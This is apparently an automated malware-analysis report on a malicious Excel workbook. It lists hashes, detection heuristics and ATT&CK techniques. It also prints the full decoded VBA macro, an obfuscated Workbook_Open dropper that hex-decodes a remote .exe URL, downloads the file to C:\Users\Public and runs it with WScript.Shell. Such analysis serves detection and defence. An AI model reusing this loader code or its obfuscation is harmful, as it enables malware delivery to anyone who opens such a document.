Office (OOXML) malware analysis — malicious · 0875d852719a6d03

MALICIOUS

Office (OOXML)

117.5 KB First seen: 2020-09-15

MD5: 922ba49e353c2a9a8905fafdc731b165 SHA-1: daa83e58b189ebd6b21f7b5d35b15f80b2162129 SHA-256: 0875d852719a6d039ce8697fa09f715a5bcb73f9197ed11a6542eb9f708bdab4

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The file contains a Workbook_Open VBA macro that is obfuscated and uses CreateObject to download a file from 'http://kqfkjrg.wze.io/sql/nngvfd.exe'. This downloaded file is then likely executed, as indicated by the critical heuristic 'OLE_VBA_HTTP_DROP_EXEC'. The ClamAV detection further confirms its malicious nature as a dropper.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
qpljanknojknxtvzitihlkfkbzoovixnqqxzwukvkepczgoyarsdhpvfkbhbywsglwwgwvdojnwgvckvkqodqugbvrpumjwomirc.write aogzhvvbwtwqhsruhrkxwlnkrwojwersbqyvizgynbizlehgfluvzyeobwhkhmesceoruwlhkmjvdnynpidkjvsdlkumsvqbxqwh.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set aogzhvvbwtwqhsruhrkxwlnkrwojwersbqyvizgynbizlehgfluvzyeobwhkhmesceoruwlhkmjvdnynpidkjvsdlkumsvqbxqwh = CreateObject(rtdcqqgldsolelnuctvvgnnmkobwutksemvfgacmteswvhwfqz("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set aogzhvvbwtwqhsruhrkxwlnkrwojwersbqyvizgynbizlehgfluvzyeobwhkhmesceoruwlhkmjvdnynpidkjvsdlkumsvqbxqwh = CreateObject(rtdcqqgldsolelnuctvvgnnmkobwutksemvfgacmteswvhwfqz("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6596 bytes
SHA-256: `1670a06a96d65822a6296fba6bc219dd3149c9013fbbcdcea678c4ada1381370`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select sutkjopmlelblumoismzeedvmvkjzmiprixjyprxgdfxcawafgjhzwtnrxxnegmywvjcwdpsaotbzftmzjdtdapvojsaretzqgbg"68 74 74 70 3A 2F 2F 6B 6F 71 66 6B 72 6A 67 2E 77 7A 65 2E 69 6F 2F 73 71 6C 2F 6E 6E 67 76 66 64 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub sutkjopmlelblumoismzeedvmvkjzmiprixjyprxgdfxcawafgjhzwtnrxxnegmywvjcwdpsaotbzftmzjdtdapvojsaretzqgbg (onpfeyrlgrhxxzvxcdtovpzroeokgckhgrgimpxqirocaquzmsibecxynyqajgfegzqgsmlmgdgdbxqyjpyntjcetivoywgcmjva As String) Dim aogzhvvbwtwqhsruhrkxwlnkrwojwersbqyvizgynbizlehgfluvzyeobwhkhmesceoruwlhkmjvdnynpidkjvsdlkumsvqbxqwh Range("A6:J13").Select Dim qpljanknojknxtvzitihlkfkbzoovixnqqxzwukvkepczgoyarsdhpvfkbhbywsglwwgwvdojnwgvckvkqodqugbvrpumjwomirc Range("A6:J13").Select Dim jibeodtttojhrmriippqqvlfgicaqhumlhlbojomanigihdasngxtamowwyfbtcluwwjbpuzadqdnfwzfcicbwtkuxfrkilgkwll Range("A6:J13").Select Set aogzhvvbwtwqhsruhrkxwlnkrwojwersbqyvizgynbizlehgfluvzyeobwhkhmesceoruwlhkmjvdnynpidkjvsdlkumsvqbxqwh = CreateObject(rtdcqqgldsolelnuctvvgnnmkobwutksemvfgacmteswvhwfqz("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set aogzhvvbwtwqhsruhrkxwlnkrwojwersbqyvizgynbizlehgfluvzyeobwhkhmesceoruwlhkmjvdnynpidkjvsdlkumsvqbxqwh = CreateObject(rtdcqqgldsolelnuctvvgnnmkobwutksemvfgacmteswvhwfqz("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set aogzhvvbwtwqhsruhrkxwlnkrwojwersbqyvizgynbizlehgfluvzyeobwhkhmesceoruwlhkmjvdnynpidkjvsdlkumsvqbxqwh = CreateObject(rtdcqqgldsolelnuctvvgnnmkobwutksemvfgacmteswvhwfqz("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set aogzhvvbwtwqhsruhrkxwlnkrwojwersbqyvizgynbizlehgfluvzyeobwhkhmesceoruwlhkmjvdnynpidkjvsdlkumsvqbxqwh = CreateObject(rtdcqqgldsolelnuctvvgnnmkobwutksemvfgacmteswvhwfqz("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set qpljanknojknxtvzitihlkfkbzoovixnqqxzwukvkepczgoyarsdhpvfkbhbywsglwwgwvdojnwgvckvkqodqugbvrpumjwomirc = CreateObject(rtdcqqgldsolelnuctvvgnnmkobwutksemvfgacmteswvhwfqz("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set jibeodtttojhrmriippqqvlfgicaqhumlhlbojomanigihdasngxtamowwyfbtcluwwjbpuzadqdnfwzfcicbwtkuxfrkilgkwll = CreateObject(rtdcqqgldsolelnuctvvgnnmkobwutksemvfgacmteswvhwfqz("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) brjcptsfgkntolkykmkwxqtebsbexzltfzuicvoanrkxpggxuusfvnplxfbxroihztnpqcvoxjiffwpuldkcgfxsjilxurjyjdxv = rtdcqqgldsolelnuctvvgnnmkobwutksemvfgacmteswvhwfqz(onpfeyrlgrhxxzvxcdtovpzroeokgckhgrgimpxqirocaquzmsibecxynyqajgfegzqgsmlmgdgdbxqyjpyntjcetivoywgcmjva) srhryehmekgbqhloefatwvfiryugakwcytbuwsdcylnzcjhnfvudcdzxlyaajaluodcwfrrlcyvkhgfhqhbfpsavteixrcsxatlz = rtdcqqgldsolelnuctvvgnnmkobwutksemvfgacmteswvhwfqz("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 78 77 6C 66 61 64 66 72 73 2e 65 78 65") hkhndibdippfttjczgevchdbjttzgyknugzgzobgqxmeodeysqxtppwahgekocwkfbkmtdclexffuzmfovgqaqyfkzztkrroaczm = rtdcqqgldsolelnuctvvgnnmkobwutksemvfgacmteswvhwfqz("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 78 77 6C 66 61 64 66 72 73 2e 65 78 65") aogzhvvbwtwqhsruhrkxwlnkrwojwersbqyvizgynbizlehgfluvzyeobwhkhmesceoruwlhkmjvdnynpidkjvsdlkumsvqbxqwh.Open chr(71) + chr(69) + chr(84), brjcptsfgkntolkykmkwxqtebsbexzltfzuicvoanrkxpggxuusfvnplxfbxroihztnpqcvoxjiffwpuldkcgfxsjilxurjyjdxv, False aogzhvvbwtwqhsruhrkxwlnkrwojwersbqyvizgynbizlehgfluvzyeobwhkhmesceoruwlhkmjvdnynpidkjvsdlkumsvqbxqwh.send qpljanknojknxtvzitihlkfkbzoovixnqqxzwukvkepczgoyarsdhpvfkbhbywsglwwgwvdojnwgvckvkqodqugbvrpumjwomirc.Type = 1 qpljanknojknxtvzitihlkfkbzoovixnqqxzwukvkepczgoyarsdhpvfkbhbywsglwwgwvdojnwgvckvkqodqugbvrpumjwomirc.Open qpljanknojknxtvzitihlkfkbzoovixnqqxzwukvkepczgoyarsdhpvfkbhbywsglwwgwvdojnwgvckvkqodqugbvrpumjwomirc.write aogzhvvbwtwqhsruhrkxwlnkrwojwersbqyvizgynbizlehgfluvzyeobwhkhmesceoruwlhkmjvdnynpidkjvsdlkumsvqbxqwh.responseBody qpljanknojknxtvzitihlkfkbzoovixnqqxzwukvkepczgoyarsdhpvfkbhbywsglwwgwvdojnwgvckvkqodqugbvrpumjwomirc.savetofile srhryehmekgbqhloefatwvfiryugakwcytbuwsdcylnzcjhnfvudcdzxlyaajaluodcwfrrlcyvkhgfhqhbfpsavteixrcsxatlz, 2 jibeodtttojhrmriippqqvlfgicaqhumlhlbojomanigihdasngxtamowwyfbtcluwwjbpuzadqdnfwzfcicbwtkuxfrkilgkwll.Run hkhndibdippfttjczgevchdbjttzgyknugzgzobgqxmeodeysqxtppwahgekocwkfbkmtdclexffuzmfovgqaqyfkzztkrroaczm End Sub Public Function rtdcqqgldsolelnuctvvgnnmkobwutksemvfgacmteswvhwfqz(ByVal ktycthxpkjarzyazlzkxcloejcorsjsqtloldfjtzeakwnrlhlvkmojyfutqtfxarkxokpwgqqxylehwkcjgoiefbpfimsaugatm As String) As String Dim pdbspptwqknbnxfqwqlifsmujntxpdrlkvghbrrzohorcevpnjypolgxqgibvwgmscqrqypezmtydvsesekffcwzpiqujpesbbya As String Dim odyputqbritvodiqmahqfrcihvvkibxbwrqpgvlllvhhpvfggogauivwaqhyyftqkryxmtjqpvekjvslqpduuwhowtoqnmngbrwx As String Dim witmeplzdkmfxwijbzvnkkasftdciyisyvphvrpfliklhitqddecvinmhahkliqecugbhbnkjqcczolwamyeugwqiczvjftdrgjm As Long For witmeplzdkmfxwijbzvnkkasftdciyisyvphvrpfliklhitqddecvinmhahkliqecugbhbnkjqcczolwamyeugwqiczvjftdrgjm = 1 To Len(ktycthxpkjarzyazlzkxcloejcorsjsqtloldfjtzeakwnrlhlvkmojyfutqtfxarkxokpwgqqxylehwkcjgoiefbpfimsaugatm)Step 3 pdbspptwqknbnxfqwqlifsmujntxpdrlkvghbrrzohorcevpnjypolgxqgibvwgmscqrqypezmtydvsesekffcwzpiqujpesbbya = Chr$(Val("&H" & Mid$(ktycthxpkjarzyazlzkxcloejcorsjsqtloldfjtzeakwnrlhlvkmojyfutqtfxarkxokpwgqqxylehwkcjgoiefbpfimsaugatm, witmeplzdkmfxwijbzvnkkasftdciyisyvphvrpfliklhitqddecvinmhahkliqecugbhbnkjqcczolwamyeugwqiczvjftdrgjm, 2))) odyputqbritvodiqmahqfrcihvvkibxbwrqpgvlllvhhpvfggogauivwaqhyyftqkryxmtjqpvekjvslqpduuwhowtoqnmngbrwx = odyputqbritvodiqmahqfrcihvvkibxbwrqpgvlllvhhpvfggogauivwaqhyyftqkryxmtjqpvekjvslqpduuwhowtoqnmngbrwx & pdbspptwqknbnxfqwqlifsmujntxpdrlkvghbrrzohorcevpnjypolgxqgibvwgmscqrqypezmtydvsesekffcwzpiqujpesbbya Next witmeplzdkmfxwijbzvnkkasftdciyisyvphvrpfliklhitqddecvinmhahkliqecugbhbnkjqcczolwamyeugwqiczvjftdrgjm rtdcqqgldsolelnuctvvgnnmkobwutksemvfgacmteswvhwfqz = odyputqbritvodiqmahqfrcihvvkibxbwrqpgvlllvhhpvfggogauivwaqhyyftqkryxmtjqpvekjvslqpduuwhowtoqnmngbrwx End Function Attribute VB_Name = "tsfpnmorkrfhtyvtvgjodecte" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `c61d4ff040396c00b2a3643cb36db9866cb5e820f029d597f209f267cf91d399`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 129 of 202 identifiers look randomly generated (e.g. 'BDBF11D6738E908E9071708F90CCC13739B6786B') — consistent with name-mangling obfuscation.

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